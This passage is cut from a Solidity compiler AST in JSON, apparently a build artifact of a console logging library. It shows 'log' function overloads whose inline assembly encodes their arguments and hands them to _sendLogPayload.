laration","scope":36972,"src":"100063:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36941,"name":"bool","nodeType":"ElementaryTypeName","src":"100063:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":36944,"mutability":"mutable","name":"p2","nameLocation":"100080:2:22","nodeType":"VariableDeclaration","scope":36972,"src":"100072:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36943,"name":"address","nodeType":"ElementaryTypeName","src":"100072:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36946,"mutability":"mutable","name":"p3","nameLocation":"100092:2:22","nodeType":"VariableDeclaration","scope":36972,"src":"100084:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36945,"name":"address","nodeType":"ElementaryTypeName","src":"100084:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"100050:45:22"},"returnParameters":{"id":36948,"nodeType":"ParameterList","parameters":[],"src":"100110:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37006,"nodeType":"FunctionDefinition","src":"100830:780:22","nodes":[],"body":{"id":37005,"nodeType":"Block","src":"100899:711:22","nodes":[],"statements":[{"assignments":[36984],"declarations":[{"constant":false,"id":36984,"mutability":"mutable","name":"m0","nameLocation":"100917:2:22","nodeType":"VariableDeclaration","scope":37005,"src":"100909:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36983,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100909:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36985,"nodeType":"VariableDeclarationStatement","src":"100909:10:22"},{"assignments":[36987],"declarations":[{"constant":false,"id":36987,"mutability":"mutable","name":"m1","nameLocation":"100937:2:22","nodeType":"VariableDeclaration","scope":37005,"src":"100929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36986,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100929:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36988,"nodeType":"VariableDeclarationStatement","src":"100929:10:22"},{"assignments":[36990],"declarations":[{"constant":false,"id":36990,"mutability":"mutable","name":"m2","nameLocation":"100957:2:22","nodeType":"VariableDeclaration","scope":37005,"src":"100949:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36989,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100949:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36991,"nodeType":"VariableDeclarationStatement","src":"100949:10:22"},{"assignments":[36993],"declarations":[{"constant":false,"id":36993,"mutability":"mutable","name":"m3","nameLocation":"100977:2:22","nodeType":"VariableDeclaration","scope":37005,"src":"100969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36992,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100969:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36994,"nodeType":"VariableDeclarationStatement","src":"100969:10:22"},{"assignments":[36996],"declarations":[{"constant":false,"id":36996,"mutability":"mutable","name":"m4","nameLocation":"100997:2:22","nodeType":"VariableDeclaration","scope":37005,"src":"100989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36995,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100989:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36997,"nodeType":"VariableDeclarationStatement","src":"100989:10:22"},{"AST":{"nativeSrc":"101018:375:22","nodeType":"YulBlock","src":"101018:375:22","statements":[{"nativeSrc":"101032:17:22","nodeType":"YulAssignment","src":"101032:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101044:4:22","nodeType":"YulLiteral","src":"101044:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"101038:5:22","nodeType":"YulIdentifier","src":"101038:5:22"},"nativeSrc":"101038:11:22","nodeType":"YulFunctionCall","src":"101038:11:22"},"variableNames":[{"name":"m0","nativeSrc":"101032:2:22","nodeType":"YulIdentifier","src":"101032:2:22"}]},{"nativeSrc":"101062:17:22","nodeType":"YulAssignment","src":"101062:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101074:4:22","nodeType":"YulLiteral","src":"101074:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"101068:5:22","nodeType":"YulIdentifier","src":"101068:5:22"},"nativeSrc":"101068:11:22","nodeType":"YulFunctionCall","src":"101068:11:22"},"variableNames":[{"name":"m1","nativeSrc":"101062:2:22","nodeType":"YulIdentifier","src":"101062:2:22"}]},{"nativeSrc":"101092:17:22","nodeType":"YulAssignment","src":"101092:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101104:4:22","nodeType":"YulLiteral","src":"101104:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"101098:5:22","nodeType":"YulIdentifier","src":"101098:5:22"},"nativeSrc":"101098:11:22","nodeType":"YulFunctionCall","src":"101098:11:22"},"variableNames":[{"name":"m2","nativeSrc":"101092:2:22","nodeType":"YulIdentifier","src":"101092:2:22"}]},{"nativeSrc":"101122:17:22","nodeType":"YulAssignment","src":"101122:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101134:4:22","nodeType":"YulLiteral","src":"101134:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"101128:5:22","nodeType":"YulIdentifier","src":"101128:5:22"},"nativeSrc":"101128:11:22","nodeType":"YulFunctionCall","src":"101128:11:22"},"variableNames":[{"name":"m3","nativeSrc":"101122:2:22","nodeType":"YulIdentifier","src":"101122:2:22"}]},{"nativeSrc":"101152:17:22","nodeType":"YulAssignment","src":"101152:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101164:4:22","nodeType":"YulLiteral","src":"101164:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"101158:5:22","nodeType":"YulIdentifier","src":"101158:5:22"},"nativeSrc":"101158:11:22","nodeType":"YulFunctionCall","src":"101158:11:22"},"variableNames":[{"name":"m4","nativeSrc":"101152:2:22","nodeType":"YulIdentifier","src":"101152:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101250:4:22","nodeType":"YulLiteral","src":"101250:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"101256:10:22","nodeType":"YulLiteral","src":"101256:10:22","type":"","value":"0xa6f50b0f"}],"functionName":{"name":"mstore","nativeSrc":"101243:6:22","nodeType":"YulIdentifier","src":"101243:6:22"},"nativeSrc":"101243:24:22","nodeType":"YulFunctionCall","src":"101243:24:22"},"nativeSrc":"101243:24:22","nodeType":"YulExpressionStatement","src":"101243:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101287:4:22","nodeType":"YulLiteral","src":"101287:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"101293:2:22","nodeType":"YulIdentifier","src":"101293:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101280:6:22","nodeType":"YulIdentifier","src":"101280:6:22"},"nativeSrc":"101280:16:22","nodeType":"YulFunctionCall","src":"101280:16:22"},"nativeSrc":"101280:16:22","nodeType":"YulExpressionStatement","src":"101280:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101316:4:22","nodeType":"YulLiteral","src":"101316:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"101322:2:22","nodeType":"YulIdentifier","src":"101322:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101309:6:22","nodeType":"YulIdentifier","src":"101309:6:22"},"nativeSrc":"101309:16:22","nodeType":"YulFunctionCall","src":"101309:16:22"},"nativeSrc":"101309:16:22","nodeType":"YulExpressionStatement","src":"101309:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101345:4:22","nodeType":"YulLiteral","src":"101345:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"101351:2:22","nodeType":"YulIdentifier","src":"101351:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101338:6:22","nodeType":"YulIdentifier","src":"101338:6:22"},"nativeSrc":"101338:16:22","nodeType":"YulFunctionCall","src":"101338:16:22"},"nativeSrc":"101338:16:22","nodeType":"YulExpressionStatement","src":"101338:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101374:4:22","nodeType":"YulLiteral","src":"101374:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"101380:2:22","nodeType":"YulIdentifier","src":"101380:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101367:6:22","nodeType":"YulIdentifier","src":"101367:6:22"},"nativeSrc":"101367:16:22","nodeType":"YulFunctionCall","src":"101367:16:22"},"nativeSrc":"101367:16:22","nodeType":"YulExpressionStatement","src":"101367:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36984,"isOffset":false,"isSlot":false,"src":"101032:2:22","valueSize":1},{"declaration":36987,"isOffset":false,"isSlot":false,"src":"101062:2:22","valueSize":1},{"declaration":36990,"isOffset":false,"isSlot":false,"src":"101092:2:22","valueSize":1},{"declaration":36993,"isOffset":false,"isSlot":false,"src":"101122:2:22","valueSize":1},{"declaration":36996,"isOffset":false,"isSlot":false,"src":"101152:2:22","valueSize":1},{"declaration":36974,"isOffset":false,"isSlot":false,"src":"101293:2:22","valueSize":1},{"declaration":36976,"isOffset":false,"isSlot":false,"src":"101322:2:22","valueSize":1},{"declaration":36978,"isOffset":false,"isSlot":false,"src":"101351:2:22","valueSize":1},{"declaration":36980,"isOffset":false,"isSlot":false,"src":"101380:2:22","valueSize":1}],"id":36998,"nodeType":"InlineAssembly","src":"101009:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37000,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"101418:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37001,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"101424:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36999,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"101402:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37002,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"101402:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37003,"nodeType":"ExpressionStatement","src":"101402:27:22"},{"AST":{"nativeSrc":"101448:156:22","nodeType":"YulBlock","src":"101448:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"101469:4:22","nodeType":"YulLiteral","src":"101469:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"101475:2:22","nodeType":"YulIdentifier","src":"101475:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101462:6:22","nodeType":"YulIdentifier","src":"101462:6:22"},"nativeSrc":"101462:16:22","nodeType":"YulFunctionCall","src":"101462:16:22"},"nativeSrc":"101462:16:22","nodeType":"YulExpressionStatement","src":"101462:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101498:4:22","nodeType":"YulLiteral","src":"101498:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"101504:2:22","nodeType":"YulIdentifier","src":"101504:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101491:6:22","nodeType":"YulIdentifier","src":"101491:6:22"},"nativeSrc":"101491:16:22","nodeType":"YulFunctionCall","src":"101491:16:22"},"nativeSrc":"101491:16:22","nodeType":"YulExpressionStatement","src":"101491:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101527:4:22","nodeType":"YulLiteral","src":"101527:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"101533:2:22","nodeType":"YulIdentifier","src":"101533:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101520:6:22","nodeType":"YulIdentifier","src":"101520:6:22"},"nativeSrc":"101520:16:22","nodeType":"YulFunctionCall","src":"101520:16:22"},"nativeSrc":"101520:16:22","nodeType":"YulExpressionStatement","src":"101520:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101556:4:22","nodeType":"YulLiteral","src":"101556:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"101562:2:22","nodeType":"YulIdentifier","src":"101562:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101549:6:22","nodeType":"YulIdentifier","src":"101549:6:22"},"nativeSrc":"101549:16:22","nodeType":"YulFunctionCall","src":"101549:16:22"},"nativeSrc":"101549:16:22","nodeType":"YulExpressionStatement","src":"101549:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"101585:4:22","nodeType":"YulLiteral","src":"101585:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"101591:2:22","nodeType":"YulIdentifier","src":"101591:2:22"}],"functionName":{"name":"mstore","nativeSrc":"101578:6:22","nodeType":"YulIdentifier","src":"101578:6:22"},"nativeSrc":"101578:16:22","nodeType":"YulFunctionCall","src":"101578:16:22"},"nativeSrc":"101578:16:22","nodeType":"YulExpressionStatement","src":"101578:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36984,"isOffset":false,"isSlot":false,"src":"101475:2:22","valueSize":1},{"declaration":36987,"isOffset":false,"isSlot":false,"src":"101504:2:22","valueSize":1},{"declaration":36990,"isOffset":false,"isSlot":false,"src":"101533:2:22","valueSize":1},{"declaration":36993,"isOffset":false,"isSlot":false,"src":"101562:2:22","valueSize":1},{"declaration":36996,"isOffset":false,"isSlot":false,"src":"101591:2:22","valueSize":1}],"id":37004,"nodeType":"InlineAssembly","src":"101439:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"100839:3:22","parameters":{"id":36981,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36974,"mutability":"mutable","name":"p0","nameLocation":"100851:2:22","nodeType":"VariableDeclaration","scope":37006,"src":"100843:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36973,"name":"address","nodeType":"ElementaryTypeName","src":"100843:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36976,"mutability":"mutable","name":"p1","nameLocation":"100860:2:22","nodeType":"VariableDeclaration","scope":37006,"src":"100855:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36975,"name":"bool","nodeType":"ElementaryTypeName","src":"100855:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":36978,"mutability":"mutable","name":"p2","nameLocation":"100872:2:22","nodeType":"VariableDeclaration","scope":37006,"src":"100864:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36977,"name":"address","nodeType":"ElementaryTypeName","src":"100864:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36980,"mutability":"mutable","name":"p3","nameLocation":"100881:2:22","nodeType":"VariableDeclaration","scope":37006,"src":"100876:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36979,"name":"bool","nodeType":"ElementaryTypeName","src":"100876:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"100842:42:22"},"returnParameters":{"id":36982,"nodeType":"ParameterList","parameters":[],"src":"100899:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37040,"nodeType":"FunctionDefinition","src":"101616:786:22","nodes":[],"body":{"id":37039,"nodeType":"Block","src":"101688:714:22","nodes":[],"statements":[{"assignments":[37018],"declarations":[{"constant":false,"id":37018,"mutability":"mutable","name":"m0","nameLocation":"101706:2:22","nodeType":"VariableDeclaration","scope":37039,"src":"101698:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37017,"name":"bytes32","nodeType":"ElementaryTypeName","src":"101698:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37019,"nodeType":"VariableDeclarationStatement","src":"101698:10:22"},{"assignments":[37021],"declarations":[{"constant":false,"id":37021,"mutability":"mutable","name":"m1","nameLocation":"101726:2:22","nodeType":"VariableDeclaration","scope":37039,"src":"101718:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37020,"name":"bytes32","nodeType":"ElementaryTypeName","src":"101718:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37022,"nodeType":"VariableDeclarationStatement","src":"101718:10:22"},{"assignments":[37024],"declarations":[{"constant":false,"id":37024,"mutability":"mutable","name":"m2","nameLocation":"101746:2:22","nodeType":"VariableDeclaration","scope":37039,"src":"101738:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37023,"name":"bytes32","nodeType":"ElementaryTypeName","src":"101738:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37025,"nodeType":"VariableDeclarationStatement","src":"101738:10:22"},{"assignments":[37027],"declarations":[{"constant":false,"id":37027,"mutability":"mutable","name":"m3","nameLocation":"101766:2:22","nodeType":"VariableDeclaration","scope":37039,"src":"101758:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37026,"name":"bytes32","nodeType":"ElementaryTypeName","src":"101758:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37028,"nodeType":"VariableDeclarationStatement","src":"101758:10:22"},{"assignments":[37030],"declarations":[{"constant":false,"id":37030,"mutability":"mutable","name":"m4","nameLocation":"101786:2:22","nodeType":"VariableDeclaration","scope":37039,"src":"101778:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37029,"name":"bytes32","nodeType":"ElementaryTypeName","src":"101778:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37031,"nodeType":"VariableDeclarationStatement","src":"101778:10:22"},{"AST":{"nativeSrc":"101807:378:22","nodeType":"YulBlock","src":"101807:378:22","statements":[{"nativeSrc":"101821:17:22","nodeType":"YulAssignment","src":"101821:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101833:4:22","nodeType":"YulLiteral","src":"101833:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"101827:5:22","nodeType":"YulIdentifier","src":"101827:5:22"},"nativeSrc":"101827:11:22","nodeType":"YulFunctionCall","src":"101827:11:22"},"variableNames":[{"name":"m0","nativeSrc":"101821:2:22","nodeType":"YulIdentifier","src":"101821:2:22"}]},{"nativeSrc":"101851:17:22","nodeType":"YulAssignment","src":"101851:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101863:4:22","nodeType":"YulLiteral","src":"101863:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"101857:5:22","nodeType":"YulIdentifier","src":"101857:5:22"},"nativeSrc":"101857:11:22","nodeType":"YulFunctionCall","src":"101857:11:22"},"variableNames":[{"name":"m1","nativeSrc":"101851:2:22","nodeType":"YulIdentifier","src":"101851:2:22"}]},{"nativeSrc":"101881:17:22","nodeType":"YulAssignment","src":"101881:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101893:4:22","nodeType":"YulLiteral","src":"101893:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"101887:5:22","nodeType":"YulIdentifier","src":"101887:5:22"},"nativeSrc":"101887:11:22","nodeType":"YulFunctionCall","src":"101887:11:22"},"variableNames":[{"name":"m2","nativeSrc":"101881:2:22","nodeType":"YulIdentifier","src":"101881:2:22"}]},{"nativeSrc":"101911:17:22","nodeType":"YulAssignment","src":"101911:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101923:4:22","nodeType":"YulLiteral","src":"101923:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"101917:5:22","nodeType":"YulIdentifier","src":"101917:5:22"},"nativeSrc":"101917:11:22","nodeType":"YulFunctionCall","src":"101917:11:22"},"variableNames":[{"name":"m3","nativeSrc":"101911:2:22","nodeType":"YulIdentifier","src":"101911:2:22"}]},{"nativeSrc":"101941:17:22","nodeType":"YulAssignment","src":"101941:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"101953:4:22","nodeType":"YulLiteral","src":"101953:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"101947:5:22","nodeType":"YulIdentifier","src":"101947:5:22"},"nativeSrc":"101947:11:22","nodeType":"YulFunctionCall","src":"101947:11:22"},"variableNames":[{"name":"m4","nativeSrc":"101941:2:22","nodeType":"YulIdentifier","src":"101941:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102042:4:22","nodeType":"YulLiteral","src":"102042:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"102048:10:22","nodeType":"YulLiteral","src":"102048:10:22","type":"","value":"0xa75c59de"}],"functionName":{"name":"mstore","nativeSrc":"102035:6:22","nodeType":"YulIdentifier","src":"102035:6:22"},"nativeSrc":"102035:24:22","nodeType":"YulFunctionCall","src":"102035:24:22"},"nativeSrc":"102035:24:22","nodeType":"YulExpressionStatement","src":"102035:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102079:4:22","nodeType":"YulLiteral","src":"102079:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"102085:2:22","nodeType":"YulIdentifier","src":"102085:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102072:6:22","nodeType":"YulIdentifier","src":"102072:6:22"},"nativeSrc":"102072:16:22","nodeType":"YulFunctionCall","src":"102072:16:22"},"nativeSrc":"102072:16:22","nodeType":"YulExpressionStatement","src":"102072:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102108:4:22","nodeType":"YulLiteral","src":"102108:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"102114:2:22","nodeType":"YulIdentifier","src":"102114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102101:6:22","nodeType":"YulIdentifier","src":"102101:6:22"},"nativeSrc":"102101:16:22","nodeType":"YulFunctionCall","src":"102101:16:22"},"nativeSrc":"102101:16:22","nodeType":"YulExpressionStatement","src":"102101:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102137:4:22","nodeType":"YulLiteral","src":"102137:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"102143:2:22","nodeType":"YulIdentifier","src":"102143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102130:6:22","nodeType":"YulIdentifier","src":"102130:6:22"},"nativeSrc":"102130:16:22","nodeType":"YulFunctionCall","src":"102130:16:22"},"nativeSrc":"102130:16:22","nodeType":"YulExpressionStatement","src":"102130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102166:4:22","nodeType":"YulLiteral","src":"102166:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"102172:2:22","nodeType":"YulIdentifier","src":"102172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102159:6:22","nodeType":"YulIdentifier","src":"102159:6:22"},"nativeSrc":"102159:16:22","nodeType":"YulFunctionCall","src":"102159:16:22"},"nativeSrc":"102159:16:22","nodeType":"YulExpressionStatement","src":"102159:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37018,"isOffset":false,"isSlot":false,"src":"101821:2:22","valueSize":1},{"declaration":37021,"isOffset":false,"isSlot":false,"src":"101851:2:22","valueSize":1},{"declaration":37024,"isOffset":false,"isSlot":false,"src":"101881:2:22","valueSize":1},{"declaration":37027,"isOffset":false,"isSlot":false,"src":"101911:2:22","valueSize":1},{"declaration":37030,"isOffset":false,"isSlot":false,"src":"101941:2:22","valueSize":1},{"declaration":37008,"isOffset":false,"isSlot":false,"src":"102085:2:22","valueSize":1},{"declaration":37010,"isOffset":false,"isSlot":false,"src":"102114:2:22","valueSize":1},{"declaration":37012,"isOffset":false,"isSlot":false,"src":"102143:2:22","valueSize":1},{"declaration":37014,"isOffset":false,"isSlot":false,"src":"102172:2:22","valueSize":1}],"id":37032,"nodeType":"InlineAssembly","src":"101798:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37034,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"102210:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37035,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"102216:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37033,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"102194:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37036,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"102194:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37037,"nodeType":"ExpressionStatement","src":"102194:27:22"},{"AST":{"nativeSrc":"102240:156:22","nodeType":"YulBlock","src":"102240:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"102261:4:22","nodeType":"YulLiteral","src":"102261:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"102267:2:22","nodeType":"YulIdentifier","src":"102267:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102254:6:22","nodeType":"YulIdentifier","src":"102254:6:22"},"nativeSrc":"102254:16:22","nodeType":"YulFunctionCall","src":"102254:16:22"},"nativeSrc":"102254:16:22","nodeType":"YulExpressionStatement","src":"102254:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102290:4:22","nodeType":"YulLiteral","src":"102290:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"102296:2:22","nodeType":"YulIdentifier","src":"102296:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102283:6:22","nodeType":"YulIdentifier","src":"102283:6:22"},"nativeSrc":"102283:16:22","nodeType":"YulFunctionCall","src":"102283:16:22"},"nativeSrc":"102283:16:22","nodeType":"YulExpressionStatement","src":"102283:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102319:4:22","nodeType":"YulLiteral","src":"102319:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"102325:2:22","nodeType":"YulIdentifier","src":"102325:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102312:6:22","nodeType":"YulIdentifier","src":"102312:6:22"},"nativeSrc":"102312:16:22","nodeType":"YulFunctionCall","src":"102312:16:22"},"nativeSrc":"102312:16:22","nodeType":"YulExpressionStatement","src":"102312:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102348:4:22","nodeType":"YulLiteral","src":"102348:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"102354:2:22","nodeType":"YulIdentifier","src":"102354:2:22"}],"functionName":{"name":"mstore","nativeSrc":"102341:6:22","nodeType":"YulIdentifier","src":"102341:6:22"},"nativeSrc":"102341:16:22","nodeType":"YulFunctionCall","src":"102341:16:22"},"nativeSrc":"102341:16:22","nodeType":"YulExpressionStatement","src":"102341:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"102377:4:22","nodeType":"YulLiteral","src":"102377:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"102383:2:22","nodeType":"YulIdentifier","src":"102383:2:22"}],"functionName":{"name":"m